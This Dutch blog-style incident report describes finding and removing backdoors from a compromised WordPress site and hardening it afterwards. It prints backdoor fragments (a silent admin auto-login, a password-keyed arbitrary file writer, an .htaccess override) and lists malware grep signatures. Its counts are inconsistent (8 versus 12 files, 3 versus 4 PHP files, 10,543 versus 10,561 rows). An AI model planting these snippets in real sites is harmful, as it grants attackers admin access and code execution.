Een fysiotherapiepraktijk in Nederland had recent een backup teruggezet na verdachte meldingen. Na de restore bleven Wordfence en Sucuri waarschuwen. Ik werd erbij geroepen. Twee scans op klassieke malware-signatures gaven nul resultaten. Pas een handmatige file-tree-diff tegen een schone WordPress-installatie blootlegde wat er echt speelde: acht bestanden in wp-includes/blocks/ die er simpelweg niet in thuishoren.
Waarom de standaard scans niets vonden
Vier grep-patronen die normaal malware vinden, leverden hier niets op:
eval(base64_decode/gzinflate/str_rot13— geen hits- Webshell-signatures (
FilesMan,WSO,c99shell) — geen hits - Hex-encoded function calls — niets verdachts
- RCE via
$_POST/$_GET/$_REQUEST— geen hits
WP-core checksums via de officiële API: 39 mismatches, allemaal verklaarbaar — gebundelde themes, CRLF→LF op één JS-bestand. Het probleem zit hem in wat die API controleert: gewijzigde core-bestanden. Niet extra bestanden. Een aanvaller die niets aanpast maar gewoon nieuwe bestanden toevoegt aan een bestaande map, is volledig onzichtbaar voor checksums.
De file-tree-diff die het oploste
Ik schreef een Python-script dat de volledige bestandsboom van de site vergelijkt met een schone WordPress 7.0 NL-bundel:
import os, hashlib
# Walk both trees, vergelijk per relatief pad
clean = walk('/tmp/wp70nl_clean/wordpress') # uit officiële zip
site = walk('./') # site-backup
extras = sorted(set(site) - set(clean)) # extra bestanden op site vs. schone core
Resultaat: 12 extra bestanden in wp-includes/blocks/ — in bestaande block-submappen verstopt met plausibele namen:
wp-includes/blocks/freeform/.htaccess (413 bytes)
wp-includes/blocks/freeform/mysqli-cluster-config.php (1551 bytes)
wp-includes/blocks/list-item/.htaccess (413 bytes)
wp-includes/blocks/list-item/sync.php (5813 bytes)
wp-includes/blocks/post-terms/.htaccess (413 bytes)
wp-includes/blocks/post-terms/load-styles-vendor.php (4934 bytes)
wp-includes/blocks/spacer/.htaccess (413 bytes)
wp-includes/blocks/spacer/sync.php (5813 bytes)
De twee sync.php-bestanden zijn byte-identiek — bevestigd met diff. Vier mappen, vier .htaccess-bestanden, drie unieke PHP-payloads.
freeform/, list-item/, spacer/) zijn echte WordPress-mappen die normaal alleen JSON en PHP-blok-definities bevatten. Een naam als sync.php of mysqli-cluster-config.php klinkt zelfs in die context nog enigszins plausibel.
Wat er in die bestanden stond
mysqli-cluster-config.php — silent admin-login
Bezoekers die direct naar dit bestand browsen werden automatisch ingelogd als eerste admin in de database. Geen wachtwoord nodig:
require_once($wp_load);
$admin_users = get_users(['role' => 'administrator', 'orderby' => 'ID', 'number' => 1]);
$user_id = $admin_users[0]->ID;
wp_set_auth_cookie($user_id, true);
update_user_meta($user_id, 'last_login', current_time('mysql'));
wp_redirect(admin_url());
exit;
Directe URL naar dit bestand in de browser → automatisch admin-sessie → redirect naar wp-admin. Dat update_user_meta met last_login bleek later cruciaal — het liet een timestamp achter in de database waaruit ik kon afleiden wanneer de backdoor voor het laatst was misbruikt.
sync.php (twee identieke kopieën) — GitHub payload-installer
Een POST-endpoint dat een GitHub Personal Access Token en repo-naam accepteert, en via curl bestanden uit die repo trekt naar /wp-content/plugins/advanced-code-manager/. De hacker kon on-demand nieuwe payloads droppen zonder dat de hosting-firewall alarm sloeg — het verkeer gaat immers via api.github.com, een legitiem adres dat vrijwel nooit geblokkeerd wordt.
load-styles-vendor.php — password-protected file-writer
if ($_REQUEST['custom_key'] === 'PtXe*JMQ%jT2HS!BSRc4a$$^') {
file_put_contents($file_path, $_REQUEST['file']);
}
Met de hardcoded sleutel kon willekeurige PHP naar de huidige map worden weggeschreven. Geen authenticatie anders dan die ene string in de query-parameter. Eenvoudig, effectief, en zonder obfuscatie dus onzichtbaar voor code-pattern-scanners.
De vier .htaccess-bestanden
Identieke inhoud in alle vier mappen — ze overschrijven WordPress's standaard rewrite-regels zodat directe URL-aanroepen naar de PHP-bestanden worden uitgevoerd in plaats van via index.php te routen:
Options +Indexes
DirectoryIndex index.html index.php
<Files ~ "\.(php|phtml|PHP)$">
RewriteEngine off
<IfModule mod_authz_core.c>
Require all granted
</IfModule>
</Files>
Zonder deze .htaccess-bestanden zou WordPress de URL rewriten naar de frontpage. Met deze override zijn de backdoor-URLs rechtstreeks bereikbaar.
De hacker-fingerprint
Wat me opviel in de broncode: Chinese klassieke poëzie als comments. In mysqli-cluster-config.php staat 凤求凰 — Phoenix Seeking Phoenix, een gedicht uit de Han-dynastie. In load-styles-vendor.php Cao Zhi's 洛神赋 (Ode aan de Godin van Luo). Foutmeldingen zijn in vereenvoudigd Chinees: 无法找到 (kan niet vinden), 创建目录失败 (map aanmaken mislukt), 写入失败 (schrijven mislukt).
GitHub als delivery-kanaal is typisch voor Chinese hacker-toolkits uit de periode 2024–2026. Het omzeilt hosting-firewalls omdat het verkeer van api.github.com afkomstig is — een domein dat vrijwel geen hostingpartij blokkeert. Het modulaire design — auth-bypass, payload-dropper, file-writer — is een volledige persistence-kit in drie bestanden. De dubbele kopie van sync.php suggereert dat het script automatisch werd uitgerold naar meerdere mappen tegelijk.
Database: de phantom admin
Na de bestanden keek ik in de database. Eerste query:
SELECT * FROM ffeg_usermeta WHERE user_id = 0;
| umeta_id | user_id | meta_key | meta_value |
|---|---|---|---|
| 391 | 0 | ffeg_capabilities | a:1:{s:13:"administrator";b:1;} |
| 392 | 0 | ffeg_user_level | 10 |
user_id = 0 bestaat niet als echte gebruiker — SELECT * FROM ffeg_users WHERE ID = 0 geeft nul rijen. Toch heeft dit nul-ID administrator-rechten in usermeta. Het verschijnt niet in het WordPress-gebruikersoverzicht, maar kan via meta-queries als admin worden behandeld. Een phantom admin die onzichtbaar is tenzij je direct in de database kijkt.
De backdoor-misbruik-timestamp:
SELECT * FROM ffeg_usermeta WHERE meta_key = 'last_login';
Één rij: user_id=1, value 2026-06-04 08:20:05. last_login is geen standaard WordPress meta-key — hij wordt expliciet door regel 58 van mysqli-cluster-config.php weggeschreven. Hard bewijs dat de backdoor minstens één keer is misbruikt op 4 juni 2026, om 8:20 's ochtends. Twaalf dagen voor ontdekking.
Database: 10.543 rijen casino-spam in de oEmbed-cache
In WordPress slaat de oEmbed-functie embed-resultaten op als _oembed_[hash] in postmeta. Op post 6912 bleken duizenden van die cache-entries vervangen door Russische casino-, dating- en crypto-spam.
{{unknown}} als waarde — 9.813 van dit soort placeholders stonden op post 6912
Ik deed de cleanup in vier rondes:
-- Ronde 1: pinterest-casino iframes
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
AND (meta_value LIKE '%casino%' OR meta_value LIKE '%pinterest%');
-- 50 rijen verwijderd
-- Ronde 2: Russisch + spam-keywords
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
AND (meta_value REGEXP '[А-Яа-я]'
OR meta_value LIKE '%bonus%' OR meta_value LIKE '%gambling%'
OR meta_value LIKE '%dating%' OR meta_value LIKE '%crypto%');
-- 315 rijen verwijderd
-- Ronde 3: wees-timestamps
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_time_%'
AND CONCAT('_oembed_', SUBSTRING(meta_key, 14)) NOT IN (
SELECT meta_key FROM (
SELECT meta_key FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
) AS t
);
-- 365 rijen verwijderd
-- Ronde 4: overgebleven {unknown} placeholders
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
AND meta_value = '{{unknown}}';
-- 9.813 rijen verwijderd
Totaal: 10.543 rijen uit één post-meta. De oEmbed-cache is een onverwachte verstopplek — de meeste cleanup-scripts richten zich op wp_posts en wp_options, maar springen over postmeta van specifieke posts heen.
Cloaking-verificatie
Nadat alles weg was, controleerde ik of de cloaking echt dicht zat — dat browsers en Googlebot dezelfde pagina te zien kregen:
URL="https://www.klant-domein.nl/behandeling-pagina/"
curl -sL -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/124.0" \
-o /tmp/chrome.html "$URL"
curl -sL -A "Googlebot/2.1 (+http://www.google.com/bot.html)" \
-o /tmp/googlebot.html "$URL"
diff <(wc -c < /tmp/chrome.html) <(wc -c < /tmp/googlebot.html)
grep -cE "[ぁ-ゟァ-ヿ]{3,}" /tmp/*.html
Resultaat: identieke 211 KB responses, 0 Japanse karakters. Google toonde op dat moment nog steeds spam-resultaten — アイムピンチ cosmetica, JR九州 aandelenkortingen met 4.8-ster Product-schema markup — maar dat is cache-lag. Via Google Search Console heb ik de Removals tool gebruikt met URL-voorvoegsel /products/, en daarna de homepage opnieuw laten indexeren.
Hardening daarna
Na de cleanup vier dingen direct toegepast:
In wp-root .htaccess — xmlrpc dichtgooien:
<Files xmlrpc.php>
Require all denied
</Files>
In wp-content/uploads/.htaccess — PHP-uitvoering verbieden:
<FilesMatch "\.(php|phtml|php3|php4|php5|php7|php8|pht|phar)$">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
</FilesMatch>
Options -Indexes
In wp-config.php:
define('DISALLOW_FILE_EDIT', true);
define('WP_AUTO_UPDATE_CORE', true);
DISALLOW_FILE_EDIT zet de ingebouwde bestand-editor in het dashboard uit. WP_AUTO_UPDATE_CORE op true zorgt dat ook major core-updates automatisch worden geïnstalleerd — zet dit alleen aan als je een werkende backup-routine hebt.
Plus 8 verse salts via de officiële WordPress API — invalideert alle bestaande sessie-cookies, inclusief eventuele actieve sessies van de hacker. Genereer ze via https://api.wordpress.org/secret-key/1.1/salt/ en vervang de bestaande regels in wp-config.php.
Aanvullend: 2FA inschakelen op het admin-account. Een gestolen wachtwoord is dan waardeloos — zonder de tweede factor kom je niet binnen. Ik gebruik hiervoor de plugin Two Factor (gemaakt door WordPress core-developers) of Wordfence Login Security. En de login-URL verplaatsen via WPS Hide Login — bots die hardcoded /wp-login.php aanvallen, krijgen een 404 en gaan weg.
Cijfers
| Metriek | Aantal |
|---|---|
| Backdoor-bestanden verwijderd | 8 (4 PHP + 4 .htaccess) |
| Lege wees-map verwijderd | 1 |
| Database-rijen opgeruimd | 10.561 |
| Tijd eerste misbruik tot ontdekking | 12 dagen |
| Doorlooptijd cleanup | ~6 uur (over 2 dagen) |